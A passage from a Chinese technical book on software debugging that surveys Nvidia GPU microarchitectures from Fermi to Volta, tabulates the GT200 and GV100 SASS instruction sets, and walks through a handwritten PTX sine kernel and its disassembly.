在每个SM内部(见图9-4),除了有32个CUDA核心外,还有一些
共享的资源,包括128KB的寄存器文件、64KB大小的共享内存和L1缓
存、4个特殊函数单元(SFU)、16个用于访问内存的LD/ST单元、1个
用于3D应用的PolyMorph引擎、4个纹理处理单元,以及纹理数据缓存
等。
在每个CUDA核心中(见图9-4左侧),包含了浮点单元和整数单
元,分别用于执行对应类型的数学运算。
把特斯拉1.0、2.0微架构和费米微架构相比较,一个明显的变化趋
势是每个集群的SM数量增加,从2到3再到4。每个SM中包含的核心数
量也在不断增加,从8到10再到32。
图9-4 GF100的流式多处理器和CUDA核心框图
9.2.4 GK110(开普勒微架构)
2012年3月,Nvidia发布GeForce 680 2GB显卡,其GPU代号为
GK104,并且基于新的开普勒微架构。这与上一代费米微架构正式发布
刚好相隔两年。一年之后,Nvidia发布GeForce GTX Titan 6GB显卡,其
GPU为GK110,是基于改进版本的开普勒微架构。下面便以GK110为例
来理解开普勒微架构的特征。
开普勒微架构最大的特点是大刀阔斧地对SM扩容,很多单元都翻
倍甚至翻几倍(见表9-1),不仅核心数特别多,其他共享资源也随着
大幅度增加,其数量达到空前的规模,但这个发展方向似乎是错的,因
为从后面一代麦斯威尔微架构开始又把SM做小了。因此可以说,开普
勒微架构中SM的个头是空前绝后的。为了突出它的大个头,Nvidia把这
一代的SM称为SMX。
表9-1 开普勒微架构中SM与费米微架构中SM的比较
每个SM中的模块
GK104/GK110(开普勒微架构)
GF104(费米微架构) 比率
32位CUDA核心
192
48
4:1
特殊函数单元
32
8
4:1
LD/ST单元
32
16
2:1
纹理单元
16
8
2:1
Warp调度器
4
2
2:1
在每个SMX中(见图9-5),有192个32位的CUDA核心,64个双精
度浮点单元,32个特殊函数单元(SFU),32个LD/ST单元,256KB的
寄存器文件,4个Warp调度器,16个纹理单元。
图9-5 GK110的SMX结构框图
在GK110的设计中,SMX的个数为15个,于是总共有2880个32位
CUDA核心。但是因为芯片生产中某些单元可能存在瑕疵,可能禁止对
应的SMX,所以Nvidia的文档中特别注明用户产品中实际的SMX个数可
能是13或者14,CUDA核心数可能是2496或者2688。产品良率方面的因
素应该也是后来又把SM做小的一个原因。
除了重构SM之外,开普勒微架构引入的新技术还有Hyper-Q(工作
队列数提升到32个,以提高内部处理器的利用率),Dynamic
Parallelism(在GPU的算核函数内可以启动新的算核和线程,此前只能
从CPU端启动算核),Grid Management Unit(管理要执行的线程网
格),GPU Boost(与CPU的调频技术类似),GPUDirect(在同一台机
器上的多个GPU之间直接传递数据)。
9.2.5 GM107(麦斯威尔微架构)
2014年2月18日,Nvidia同时发布GeForce GTX 750和GeForce GTX
750 Ti两款显卡产品,它们的GPU都是GM107,基于的微架构名叫麦斯
威尔。
在GTX 750 Ti的白皮书中[8],副标题特别强调这个产品的设计目标
是追求每瓦特电能所能提供的性能(Designed for Extreme Performance
per Watt)。正文中解释说GM107是为供电有限的移动平台和小型电脑
而设计的,其设计灵魂就是要提高每瓦特的性能(The Soul of Maxwell:
Improving Performance per Watt)。针对这样的目标,Nvidia重新设计了
SM,并给新的SM取了个新的名字,叫SMM。作者认为最后一个M可能
代表Maxwell,也可能有缩小(Mini)之意。
在每个SMM中(见图9-6),把处理器核心划分为4个片区
(block),每个片区包含32个CUDA核心,8个SFU,8个LD/ST单元。
每个片区有自己的指令缓冲区和Warp调度器,以及64KB的寄存器文
件。4个片区加起来,一共有128个CUDA核心,32个SFU。
作者写作本节书稿时所用笔记本电脑中就包含了一个麦斯威尔微架
构的GPU,型号为GM108-A,它有3个SMM,384个CUDA核心,它的
设计功耗(Thermal Design Power)为30W。
9.2.6 GP104(帕斯卡微架构)
2016年5月,Nvidia发布GeForce GTX 1080,一个月后,又发布
GeForce GTX 1070,两款显卡使用的GPU都是GP104,微架构名叫帕斯
卡。
GP104的SM结构与上一代麦斯威尔SM的结构非常类似,在每个SM
中,分4个片区配置128个32位的CUDA核心,每个片区配备8个SFU和8
个LD/ST单元。
不同的是,在GP104中(见图9-7),SM的个数大大增多,共有20
个,每5个SM组成一个图形处理集群(GPC)。在整个GPU中,一共有
4个GPC,20个SM,2560个32位CUDA核心,以及160个纹理处理单元
(每个SM包含8个纹理处理单元)。
图9-6 GM107(麦斯威尔微架构)的SMM结构框图
图9-7 GP104(帕斯卡微架构)的结构框图
帕斯卡微架构中,另一项值得关注的功能是把GPU的多任务调度支
持提升到一个新的水平。当执行图形任务时,可以在像素级别暂停当前
任务,当执行计算任务时,可以在指令级别暂停当前任务,二者分别称
为“像素级别的图形任务抢先”(Pixel-Level Graphics Preemption)和“指
令级别的计算任务抢先”(Instruction-Level Compute Preemption)[9]。
9.2.7 GV100(伏特微架构)
2017年5月,Nvidia对外宣布了基于新一代伏特微架构的GV100
GPU,同时宣布了基于该GPU的首款显卡产品特斯拉V100。
GV100的主要变化体现在两个方面,一方面是进一步优化SM内部
的结构,另一方面是大刀阔斧地提升SM的数量。
伏特微架构基本沿用了麦斯威尔微架构开创的SM结构,但是加入
了一些增强。在GV100的每个SM中(见图9-8),仍是按4个片区来配
置处理器。在每个片区中,除了有16个32位的CUDA核心外,还有16个
整数处理器(图中标为INT),8个双精度浮点处理器(图中标为
FP64)。此外,还针对深度学习用途增加了两个支持混合精度数据类型
的张量核心(Tensor Core)。引入张量核心应该也有与谷歌公司的
TPU(Tensor Processing Unit)竞争的目的。
图9-8 GV100(伏特微架构)SM结构框图
GV100发布在正值人工智能(AI)技术如火如荼的时候,其主要设
计目标也是面向AI的。在这一目标的指导下,可以看到SM中的硬件资
源分配也是朝着AI方向倾斜的。有一方重,就有另一方轻,在GV100
中,针对3D图形应用的资源明显减少。纹理处理单元的数量从帕斯卡
微架构时的8个减少为4个,专门应用于3D图形的PolyGraph引擎也不见
了。
在芯片层面,GV100空前地把SM个数提高到84,每14个SM组成一
个GPC,一共有6个GPC(见图9-9)。不过,因为生产过程中部分芯片
的个别SM可能存在瑕疵,所以在实际产品中SM的数量可能是低于84个
的。在GV100的产品描述中,SM的个数为80,于是32位CUDA核心的
总个数达到空前的5120。
图9-9 GV100(伏特微架构)结构框图
在图9-9中,左右两侧标有HBM2的方框代表第二代高带宽内存接口
(High Bandwidth Memory 2,HBM2)。HBM技术最先是由AMD研发
的,2013年成为工业标准。为了保证内部的5000多个CUDA核心可以顺
畅地访问显存,GV100配备了 8 个内存控制器(memory controller),
每两个内存控制器控制共用一个HBM2高速接口,以避免内存访问成为
瓶颈。
图9-9下方的NVLink代表的是高速互联接口,主要用于多个GPU之
间的高速通信。NVLink技术是帕斯卡微架构引入的。
9.2.8 持续改进
上文花较大篇幅介绍了Nvidia GPU的微架构,从特斯拉微架构开
始,一直到较新的伏特微架构。为了更容易观察各个微架构之间的共性
和差异,针对特斯拉产品线中的4款产品,表9-2列出了它们的关键特征
[5]。
表9-2 不同微架构关键特征比较
关 键 特 性
特斯拉K40
特斯拉M40
特斯拉P100
特斯拉V100
GPU
GK180(开普勒
架构)
GM200(麦斯威
尔架构)
GP100(帕斯卡
架构)
GV100(伏特
架构)
SM个数
15
24
56
80
TPC个数
15
24
28
40
FP32核心/ SM
192
128
64
64
FP32核心/
GPU
2880
3072
3584
5120
FP64核心/ SM
64
4
32
32
FP64核心/
GPU
960
96
1792
2560
张量核心
NA
NA
NA
640
GPU跳频时钟
810/875MHz
1114MHz
1480MHz
1530MHz
FP32
TFLOP/s①
5.04
6.8
10.6
15.7
FP64
TFLOP/s①
1.68
0.21
5.3
7.8
张量核心
TFLOP/s①
NA
NA
NA
125
纹理单元
240
192
224
320
显存接口
384位 GDDR5
384位GDDR5
4096位HBM2
4096位 HBM2
内存大小
最大12GB
最大24GB
16GB
16GB
L2缓存大小
1536KB
3072KB
4096KB
6144KB
共享内
存/SM(KB)
16、32和48
96
64
最高可配置为
96
寄存器文
件/SM
256KB
256KB
256KB
256KB
寄存器文
件/GPU
3840KB
6144KB
14336KB
20480KB
TDP
235W
250W
300W
300W
晶体管数量
7.1×109
8×109
1.53×1010
2.11×1010
芯片面积
551mm²
601mm²
610mm²
815mm²
生产工艺
28nm
28nm
16nm FinFET+
12nm FFN
① 这里都是GPU跳频(boost)后的峰值数据。
与CPU相比,GPU的关键优势是多核和并行能力。如何不断增加并
行能力,保持领先呢?开普勒微架构大胆尝试了在一个SM中增加
CUDA核心的个数,但是这样做功耗高、难以保证所有核的利用率而且
影响产品的良率。于是从麦斯威尔微架构开始,每个SM中CUDA核心
的数量又减少了,从192个减少到128个,并且分成4个片区,每个片区
有调度器,精细化管理,目的是提高效率。帕斯卡微架构进一步把每个
SM中CUDA核心的数量减少到64个,伏特微架构沿用了这个数量,看
来每个SM中配置64个CUDA核心是经过几番波动后得出的最佳值。降
低了每个SM中CUDA核心的数量后,要提高并行度就要增加SM的个
数。从表9-2中可以看到,SM的数量在不断上升。保持SM的紧凑和高
效,通过SM的个数来实现伸缩性,看起来这是Nvidia目前的策略。
除了SM方面的规律外,从表9-2中,还可以看到如下一些明显的趋
势:生产工艺不断精细化,晶体管密度越来越高;晶体管的总数单调上
升,GV100达到惊人的2.11×1010亿个;总的CUDA核心数和并行能力不
断上升。
9.3 硬件指令集
对于使用通用处理器思想设计的GPU来说,它的指令集代表着软硬
件之间最根本的接口,其重要性不言而喻。但遗憾的是,Nvidia并没有
公开详细的指令集文档。我们只能通过非常有限的资料介绍指令集的部
分信息。
9.3.1 SASS
Nvidia把GPU硬件指令对应的汇编语言称为SASS。关于SASS的全
称,官方文档不见其踪影。有人说它是Streaming ASSembler(流式汇编
器)的缩写[10],也有人说它是Shader Assembler的缩写,作者觉得前者
可能更接近。
可以使用CUDA开发包中的cuobjdump来查看SASS汇编,比如执行
如下命令可以把嵌在vectorAdd.exe中的GPU代码进行反汇编,然后以文
本的形式输出出来。
cuobjdump --dump-sass win64\debug\vectorAdd.exe
在使用CUDA GDB调试时,可以直接使用GDB的反汇编命令来查
看SASS汇编,比如x /i、display /i命令,或者disassemble命令。
(cuda-gdb) x/4i $pc-32
0xa689a8 <acos_main(acosParams)+824>: MOV R0, c[0x0][0x34]
0xa689b8 <acos_main(acosParams)+840>: MOV R3, c[0x0][0x28]
0xa689c0 <acos_main(acosParams)+848>: IMUL R2, R0, R3
=> 0xa689c8 <acos_main(acosParams)+856>: MOV R0, c[0x0][0x28]
在使用Nsight调试时,可以在汇编语言窗口查看SASS指令,如图9-
10所示。
图9-10 当使用Nsight调试时在汇编语言窗口中查看SASS指令
在图9-10中,包含了三种代码:CUDA扩展后的C语言代码(行号
后带冒号)、Nvidia GPU程序的中间指令(称为PTX指令,后文将详细
介绍,该指令前有方括号)以及GPU硬件的SASS指令。每一条SASS指
令的显示包含三个部分:地址、机器码和指令的SASS反汇编表示,例
如以下代码。
0x000cf7f8 4c98078000270003 MOV R3, c[0x0][0x8];
对于无法得到SASS官方文档的人来说,在调试器下结合源代码和
有文档的PTX指令来学习SASS汇编是很好的方法。
9.3.2 指令格式
SASS指令的一般格式如下。
(指令操作符)(目标操作数)(源操作数1),(源操作数2)…
有效的目标操作数和源操作数如下。
普通寄存器Rx。
系统寄存器SR_x。
条件寄存器Px。
常量,使用c[X][Y] 表示。
举例来说,S2R R7, SR_TID.X用于把代表当前线程ID的系统寄存器
SR_TID的X分量赋值给普通的寄存器R7。再比如MOV R3, c[0x0][0x8]
用于把代表协作线程组(CTA)维度大小的常量读到R3寄存器中。
值得特别强调的是,Nvidia GPU硬件指令最大的特点是,所有指令
都属于标量指令,指令的操作数都是标量,而不是向量,与x86 CPU的
普通指令类似。x86 CPU的SIMD指令是典型的向量指令。
9.3.3 谓词执行
包括Nvidia GPU在内的大多数GPU都支持所谓的谓词执行
(predicated execution)技术,目的是减少程序中的分支。
举例来说,对于如下C语句:
if (i < n)
j = j + 1;
可以使用PTX指令表示为以下代码。
setp.lt.s32 p, i, n; // p = (i < n)
@p add.s32 j, j, 1; // if i < n, add 1 to j
前一条指令对i和n两个变量做“小于”(less than,lt)比较,把结果
写到谓词寄存器(predicate register)p中。第二条指令前的@p则表示根
据谓词寄存器p的值来决定是否要执行后面的加法指令。
谓词技术在3D图形应用中也大有用武之地,在微软的DirectX API
中有接口来使用这个技术[11],可以调用CreatePredicate方法创建谓词变
量,调用SetPredication方法来动态设置谓词变量,详情参见DirectX
SDK的DrawPredicated示例(SDK root\Samples\C++\Direct3D10\
DrawPredicated)。
9.3.4 计算能力
虽然每一代微架构都尽可能与顶层软件保持稳定的接口,但因为新
增功能和设计改变等因素,还会导致一些差异。为了解决这个问题,
Nvidia使用名为计算能力(Compute Capability,CC)的版本机制来标识
微架构演变所导致的硬件差异。通常使用两位数字表示计算能力的版
本。一位代表主版本号,与前面介绍的微架构相对应,另一位代表同一
代微架构内的少量变化,比如G80的CC版本号为1.0,后来改进的GT200
版本为1.3。表9-3列出了目前已发布微架构所对应的计算能力版本号。
表9-3 微架构与计算能力版本号
微架
构
计算能力
版本号
说 明
特斯
拉
1. x
G80为1.0,G92、G94、G96、G98、G84、G86为1.1,GT218、
GT216、GT215为1.2,GT200为1.3
费米
2. x
GF100和GF110为2.0,其余为2.1
开普
勒
3. x
有3.0、3.2、3.5和3.7多个子版本
麦斯
威尔
5. x
GM107和GM108为5.0,还有5.2和5.3子版本
帕斯
卡
6. x
GP100为6.0,GP108为6.2
伏特
7. x
GV100为7.0
在编译CUDA程序时,经常见到这样的参数:-
gencode=arch=compute_61,其中,compute_61就是用来指定产生与计算
能力为6.1的硬件兼容的代码。
9.3.5 GT200的指令集
就像在硬件方面不断改进、不断优化一样,Nvidia也在不断调整与
改进每一代GPU的指令集。限于篇幅,这里选择第一代特斯拉微架构
(CC 1.x)和目前公开的最新一代伏特微架构(CC 7.0)的指令集进行
比较学习。表9-4列出了基于特斯拉微架构的GT200 GPU的指令集。
表9-4 GT200的指令集
操 作 码
描 述
A2R
把地址寄存器的内容移动到数据寄存器中
ADA
把立即数累加到地址寄存器上
BAR
协作线程组范围内(CTA-wide)的同步屏障(barrier)
BRA
按条件分支跳转
BRK
根据条件从循环中中断(break)
BRX
从常量内存区读取地址并跳转到该地址
C2R
把条件码复制到数据寄存器中
CAL
无条件调用子过程
COS
计算余弦值
DADD
双精度浮点数加法
DFMA
双精度浮点数融合乘加(fused multiply-add)
DMAX
对双精度浮点数取最大值
DMIN
对双精度浮点数取最小值
DMUL
双精度浮点数乘法
DSET
针对双精度浮点数按条件赋值(conditional set)
EX2
指数函数(指数为2)
F2F
从浮点数转换为浮点数并复制
F2I
从浮点数转换为整数并复制
FADD、
FADD32、
FADD32I
单精度浮点数加法
FCMP
单精度浮点数比较
FMAD、
FMAD32、
FMAD32I
单精度浮点数乘加
FMAX
对单精度浮点数取最大值
FMIN
对单精度浮点数取最小值
FMUL、
FMUL32、
FMUL32I
单精度浮点数乘法
FSET
针对双精度浮点数按条件赋值
G2R
把共享内存中的数据读到寄存器。如果带有.LCK后缀,则表示锁定
该共享内存块(bank),直到执行R2G.UNL时才解锁,用于实现原
子操作
GATOM.IADD
针对全局内存的原子操作(atomic operation)。执行原子操作,并返
回内存中原来的值,相当于x86 CPU中的互锁系列操作。除了IADD之
外,支持的操作还有EXCH、CAS、IMIN、IMAX、INC、DEC、
IAND、IOR和IXOR
GLD
从全局内存读
GRED.IADD
针对全局内存的整合操作(reduction operation)。只执行原子操
作,没有返回值,除了IADD之外,支持的操作还有IMIN、IMAX、
INC、DEC、IAND、IOR和IXOR
GST
写到全局内存中
I2F
从整数转换为浮点数并复制
I2I
从整数转换为整数并复制
IADD、
IADD32、
IADD32I
整数加法
IMAD、
IMAD32、
IMAD32I
整数乘加
IMAX
对整数取最大值
IMIN
对整数取最小值
IMUL、
IMUL32、
整数乘法
IMUL32I
ISAD、
ISAD32
对差的绝对值求和(sum of absolute difference)
ISET
针对整数按条件赋值
LG2
对浮点数取对数(以2为底数)
LLD
从局部内存读取
LST
写到局部内存中
LOP
逻辑操作(AND、OR、XOR)
MOV、
MOV32
把源操作数传送到目标操作数
MVC
把常量数据区的数据传送到目标操作数
MVI
把立即数传送到目标操作数
NOP
空操作
R2A
把数据寄存器的内容复制到地址寄存器中
R2C
把数据寄存器的内容复制到条件码中
R2G
写到共享内存中
RCP
求单精度浮点数的倒数(reciprocal)
RET
按条件从子过程返回
RRO
区域整合操作符(Range Reduction Operator)
RSQ
平方根倒数(Reciprocal Square Root)
S2R
把特殊寄存器中的内容复制到数据寄存器中
SHL
向左移位
SHR
向右移位
SIN
求正弦
SSY
设置同步点, 用在可能发生分支的指令前
TEX/TEX32
读取纹理数据
VOTE
选择Warp的元语(Warp-vote primitive)
纵观表9-4,所有指令加起来不过几十条(表格行数为62,有些行
包含多条指令),但它们组合起来,可谓变化无穷,再与强大的流处理
器阵列结合起来,其威力便强大无边了,这正是通用处理器优于固定功
能单元的地方。
9.3.6 GV100的指令集
在写本节内容时,基于GV100的Tesla V100 GPU不但价格昂贵
(2999美元),而且一卡难求。伏特微架构代表了Nvidia已发布GPU中
的最高境界。表9-5列出了该微架构的指令集。
表9-5 GV100(伏特微架构)的指令集
操 作 码
描 述
浮点数指令
FADD
32位浮点数(FP32)加法
FADD32I
32位浮点数(FP32)加法,支持立即数
FCHK
浮点数范围检查
FFMA32I
32位浮点数融合乘加,支持立即数
FFMA
32位浮点数融合乘加
FMNMX
取32位浮点数的最小值和最大值
FMUL
32位浮点数乘法
FMUL32I
32位浮点数乘法,支持立即数
FSEL
浮点数选取(Select)
FSET
32位浮点数比较和置位
FSETP
32位浮点数比较和设置谓词(Predicate)
FSWZADD
针对调配(Swizzle)格式的32位浮点数做加法
MUFU
针对32位浮点数的多功能运算(求正余弦等)
HADD2
半浮点数(FP16)加法
HADD2_32I
半浮点数(FP16)加法,支持立即数
HFMA2
半浮点数融合乘加
HFMA2_32I
半浮点数融合乘加,支持立即数
HMMA
半矩阵乘加(Half Matrix Multiply and Accumulate)
HMUL2
半浮点数乘法(FP16 Multiply)
HMUL2_32I
半浮点数乘法(FP16 Multiply),支持立即数
HSET2
半浮点数比较与设置(FP16 Compare And Set)
HSETP2
半浮点数比较与设置谓词(FP16 Compare And Set Predicate)
DADD
64位浮点数加法(FP64 Add)
浮点数指令
DFMA
64位浮点数融合乘加(FP64 Fused Mutiply Add)
DMUL
64位浮点数乘法(FP64 Multiply)
DSETP
64位浮点数比较与设置谓词(FP64 Compare And Set Predicate)
整数指令
BMSK
位域屏蔽(Bitfield Mask)
BREV
位反转(Bit Reverse)
FLO
寻找第一个为1的位(Find Leading One)
IABS
对整数取绝对值
IADD
整数加法
IADD3
三输入整数加法
IADD32I
整数加法,支持立即数
IDP
整数点积与累加(Dot Product and Accumulate)
IDP4A
整数点积与累加(Dot Product and Accumulate)
IMAD
整数乘加(Multiply And Add)
IMUL
整数乘法
IMUL32I
整数乘法,支持立即数
ISCADD
整数缩放与相加(Scaled Integer Addition)
ISCADD32I
整数缩放与相加(Scaled Integer Addition)
ISETP
整数比较与设置谓词(Predicate)
LEA
加载有效地址(LOAD Effective Address)
LOP
逻辑运算
LOP3
逻辑运算,支持3个操作数
LOP32I
逻辑运算,支持立即数
POPC
统计位为1的二进制位的个数(Population Count)
SHF
漏斗式移位(Funnel Shift)
SHL
向左移位(Shift Left)
SHR
向右移位(Shift Right)
VABSDIFF
求差的绝对值(Absolute Difference)
VABSDIFF4
求差的绝对值(Absolute Difference)
转换指令
F2F
浮点数到浮点数的转换
F2I
浮点数到整数的转换
I2F
整数到浮点的转换
FRND
舍成整数(Round To Integer)
赋值指令
MOV
赋值
MOV32I
赋值,支持立即数
PRMT
重排寄存器对(Permute Register Pair)
SEL
根据谓词选取源(Select Source with Predicate)
SGXT
符号扩展(Sign Extend)
SHFL
Warp范围内的寄存器换位(Register Shuffle)
谓词和条件码指令
PLOP3
谓词逻辑运算(Predicate Logic Operation)
PSETP
合并的谓词判断与设置谓词
P2R
把谓词寄存器的值赋给普通寄存器
R2P
把寄存器赋给谓词和条件码寄存器(Predicate/CC Register)
加载和存储指令
LD
从普通内存加载
LDC
加载常量
LDG
从全局内存加载
LDL
从局部内存窗口加载
LDS
从共享内存窗口加载
ST
存储到普通内存中
STG
存储到全局内存中
STL
存储到局部或者共享内存窗口中
STS
存储到局部或者共享内存窗口中
MATCH
在线程组范围内匹配寄存器的值
QSPC
查询空间(Query Space)
ATOM
针对普通内存的原子操作
加载和存储指令
ATOMS
针对共享内存的原子操作
ATOMG
针对全局内存的原子操作
RED
针对普通内存的整合操作(Reduction Operation)
CCTL
缓存控制
CCTLL
本地缓存控制,最后一个L是Local(本地)的缩写
ERRBAR
错误屏障(Error Barrier)
MEMBAR
内存屏障(Memory Barrier)
CCTLT
纹理缓存控制
纹理指令
TEX
纹理获取(Texture Fetch)
TLD
纹理加载(Texture Load)
TLD4
纹理加载4(Texture Load 4)
TMML
当访问逐级递减纹理图时要设置访问级别
TXD
读取带导数的纹理信息(Texture Fetch With Derivatives)
TXQ
纹理查询(Texture Query)
表面指令
SUATOM
表面整合(Surface Reduction)
SULD
表面加载(Surface Load)
SURED
针对表面内存的原子整合(Atomic Reduction)
SUST
存储表面
控制指令
BMOV
移动CBU状态
BPT
断点和陷阱(BreakPoint/Trap)
BRA
相对跳转(Relative Branch)
BREAK
跳出指定的聚合屏障(Convergence Barrier)
BRX
间接的相对跳转(Relative Branch Indirect)
BSSY
设置聚合屏障和同步点
BSYNC
在聚合屏障(Convergence Barrier)中同步线程
CALL
调用函数
控制指令
EXIT
退出程序
IDE
中断启用和禁止(Interrupt Enable/Disable)
JMP
绝对跳转(Absolute Jump)
JMX
间接的绝对跳转(Absolute Jump Indirect)
KILL
终止线程(Kill Thread)
NANOSLEEP
暂停执行(Suspend Execution)
RET
从子例程返回(Return From Subroutine)
RPCMOV
给程序计数器寄存器(PC Register)赋值
RTT
从陷阱返回
WARPSYNC
在Warp中同步线程
YIELD
放弃控制(Yield Control)
杂项指令
B2R
将屏障赋值给寄存器(Move Barrier To Register)
BAR
屏障同步(Barrier Synchronization)
CS2R
把特殊寄存器赋值给普通寄存器
CSMTEST
测试和更新剪切状态机(Clip State Machine)
DEPBAR
依赖屏障(Dependency Barrier)
GETLMEMBASE
取局部内存的基地址(Local Memory Base Address)
LEPC
加载有效的程序计数器(Load Effective PC)
NOP
空操作(No Operation)
PMTRIG
触发性能监视器
R2B
把寄存器赋值给屏障(Move Register to Barrier)
S2R
把特殊寄存器赋值给普通寄存器
SETCTAID
设置协作线程组(CTA)的ID
SETLMEMBASE
设置局部内存基地址(Set Local Memory Base Address)
VOTE
在SIMD线程组范围内投票(Vote Across SIMD Thread Group)
VOTE_VTG
测试和更新剪切状态机(Clip State Machine)
特斯拉架构和伏特微架构的发布时间相隔11年,比较二者的指令
集,可以看到很多变化。首先,指令数量明显增加,后者(伏特微架
构)大约是前者(特斯拉微架构)的2倍。在新增的指令中,除了针对
双精度浮点、半精度浮点、纹理、表面等新的数据类型外,还有缓存控
制、断点和陷阱以及线程控制等高级指令。这代表着GPU上的代码也日
趋复杂,不仅是算术运算。
细心的读者还会发现,变化不只是增加,也有减少,比如特斯拉微
架构中的复杂数学函数指令(正余弦、对数等)在伏特微架构中都不见
了。不过,不是真的不再支持这些操作,而是指令的格式改变了。如果
在汇编指令级单步跟踪调用正弦函数的语句,就会发现使用的是表9-5
中的MUFU指令。
0x000cf6d8 [0471] sin.approx.f32 %f2, %f1;
0x000cf6d8 5c90000000070000 RRO.SINCOS R0, R0;
0x000cf6e0 0000000000000000 NOP;
0x000cf6e8 5080000000170000 MUFU.SIN R0, R0;
看来,MUFU.SIN取代了以前的SIN指令,而且通过不同的指令后
缀可以支持多种数学函数,这样原本的多条指令被合并为1条指令。这
背后的原因是SASS汇编的机器码很长,一般都是8字节。为了充分利用
指令的每一个位域,我们会发现SASS指令大多都很长,除了一个主操
作外,再用点(.)跟随一个子操作,比如MUFU.SIN。在GPU领域,多
种GPU都使用“超常指令字”(Very Long Instruction Word,VLIW)。后
面要介绍的英特尔和AMD的某些GPU指令都属于此类,虽然Nvidia的
GPU指令不属于VLIW,但也是受其影响的。
值得说明的是,当在CUDA程序中直接调用sin函数时,编译器并不
会使用上面的MUFU指令,而是调用一个更复杂的软件实现。原因是
MUFU指令是通过硬件里的SFU进行快速计算的,但是结果不够精确,
所以默认不会使用。如果一定要用,那么可以可以调用CUDA的内部函
数(intrinsics)__sinf()。
整理表9-5花了作者很多时间(少半个春节假期)。有些读者可能
会问:“为什么要花这个时间呢?”答案是,这些指令是根本,是软硬件
之间交互的根本纲领和基本法则。通过这些指令,我们可以感知GPU内
部的硬件结构,了解它最擅长的功能。了解这些,对写代码、调试和优
化都善莫大焉。
老雷评点
君子务本,本立而道生。
9.4 PTX指令集
根据上一节对GPU硬件指令的介绍,我们知道不同微架构的指令是
有较大差异的。这意味着,如果把GPU程序直接按某一微架构的机器码
进行编译和链接,那么产生的二进制代码在其他微架构的GPU上执行时
很可能会有问题。为了解决这个问题,并避免顶层软件直接依赖底层硬
件,Nvidia定义了一个虚拟环境,取名为并行线程执行(Parallel Thread
eXecution,PTX)环境。然后针对这个虚拟机定义了一套指令集,称为
PTX指令集(ISA)。
有了PTX后,顶层软件只要保证与PTX兼容即可(见图9-11)。在
编译程序时,可以只产生PTX指令,当实际执行时,再使用即时编译
(JIT)技术产生实际的机器码。这与Java和.NET等编程语言使用的中
间表示(IR)技术很类似。
图9-11 PTX的重要角色
与SASS没有公开文档不同,PTX指令集的应用指南(Parallel
Thread eXecution ISA Application Guide)非常详细,有在线版本,
CUDA工具包中也有。CUDA 9.1版本的文件名为ptx_isa_6.1.pdf,长达
300余页。建议读者阅读本节内容时,同时参照这个文档。
9.4.1 汇编和反汇编
手工写一段PTX汇编程序并不像想象的那么困难。清单9-1是作者
编写的一个简单例子。
清单9-1 调用正弦指令的PTX汇编函数
/*
Manual PTX assembly code by Raymond for the SWDBG 2nd edition.
All rights reserved. 2018
*/
.version 6.1
.target sm_30
.address_size 64
.global .u32 gOptions = 0;
.visible .entry doSin(.param .u64 A, .param .u64 B, .param .u32 nNum)
{
.reg .f32 %fA, %fB;
.reg .b64 %pA, %pB, %u64Offset;
.reg .pred %p<2>;
.reg .b32 %nTotal,%nIndex,%nBlockDim,%nBlockID,%nTid;
ld.param.u64 %pA, [A];
ld.param.u64 %pB, [B];
ld.param.u32 %nTotal, [nNum];
mov.u32 %nBlockDim, %ntid.x;
mov.u32 %nBlockID, %ctaid.x;
mov.u32 %nTid, %tid.x;
mad.lo.s32 %nIndex, %nBlockDim, %nBlockID, %nTid;
setp.ge.s32 %p1, %nIndex, %nTotal;
@%p1 bra TAG_EXIT;
mul.wide.s32 %u64Offset, %nIndex, 4;
add.s64 %pA, %pA, %u64Offset;
ld.global.f32 %fA, [%pA];
sin.approx.f32 %fB, %fA;
add.s64 %pB, %pB, %u64Offset;
st.global.f32 [%pB], %fB;
TAG_EXIT:
ret;
}
清单9-1中包含的PTX汇编函数名叫doSin,它接受三个参数:传递
输入值的浮点数组A,存放输出值的数组B,以及数组的元素个数
nNum。函数的功能是根据当前线程的ID计算出数组的索引值i,然后求
sin(A[i]),把结果赋给B[i],对应的C代码如下。
__global__ void
doSin(const float *A, float *B, int numElements)
{
int i = blockDim.x * blockIdx.x + threadIdx.x;
if (i < numElements)
{
B[i] = __sinf(A[i]);
}
}
稍后再解释清单中的语句细节,首先介绍如何编译这个汇编文件。
方法也非常简单,只要执行CUDA工具包中的ptxas程序,比如,ptxas
geptxmanual.ptx,默认输出的目标文件称为elf.o。另外,可以通过-o选
项指定新的文件名,也可以增加-v选项输出辅助信息,下面给出一个示
例。
C:\dbglabs\ptx> ptxas -v -o sin.o geptxmanual.ptx
ptxas info : 4 bytes gmem
ptxas info : Compiling entry function 'doSin' for 'sm_30'
ptxas info : Function properties for doSin
0 bytes stack frame, 0 bytes spill stores, 0 bytes spill loads
ptxas info : Used 6 registers, 340 bytes cmem[0]
如果想查看目标文件里的信息,那么可以用nvdisasm来反汇编。
nvdisasm sin.o
默认的输出是控制台,加上“> disasm32.txt”可以将输出重定向到文
本文件。反汇编出来的机器码非常短小精悍,值得细细品味,如清单9-
2所示。
清单9-2 反汇编得到的doSin函数机器码
.text.doSin:
/*0008*/ MOV R1, c[0x0][0x44];
/*0010*/ S2R R0, SR_CTAID.X;
/*0018*/ S2R R3, SR_TID.X;
/*0020*/ IMAD R0, R0, c[0x0][0x28], R3;
/*0028*/ ISETP.GE.AND P0, PT, R0, c[0x0][0x150],
PT;
/*0030*/ @P0 EXIT;
/*0038*/ ISCADD R2.CC, R0, c[0x0][0x140], 0x2;
/*0048*/ MOV32I R5, 0x4;
/*0050*/ IMAD.HI.X R3, R0, R5, c[0x0][0x144];
/*0058*/ LD.E R2, [R2];
/*0060*/ ISCADD R4.CC, R0, c[0x0][0x148], 0x2;
/*0068*/ IMAD.HI.X R5, R0, R5, c[0x0][0x14c];
/*0070*/ RRO.SINCOS R0, R2;
/*0078*/ MUFU.SIN R0, R0;
/*0088*/ ST.E [R4], R0;
/*0090*/ EXIT;
.L_2:
/*0098*/ BRA `(.L_2);
.L_21:
对比清单9-1和清单9-2,可以发现很多官方文档秘而不宣的有趣细
节,比如代表线程块大小的blockDim内置变量是以常量形式存放的,清
单9-2中的c[0x0][0x28]就是blockDim.x。此外,函数的参数也是以常量
形式传递的。清单9-2中的c[0x0][0x144]和c[0x0][0x140]代表的便是参数
A,c[0x0][0x148]和c[0x0][0x14c]代表的便是参数B。因为参数A、B是
数组指针,都是64位,所以各以两个32位整数的形式存放。
清单9-2末尾的分支跳转指令让人困惑,看起来它没有任何意义,
因为上面的指令已经指定了两种情况下的EXIT,逻辑完备。另外,这
个跳转指令就跳转到本条指令,真是难以理解。作者推测它是用来占位
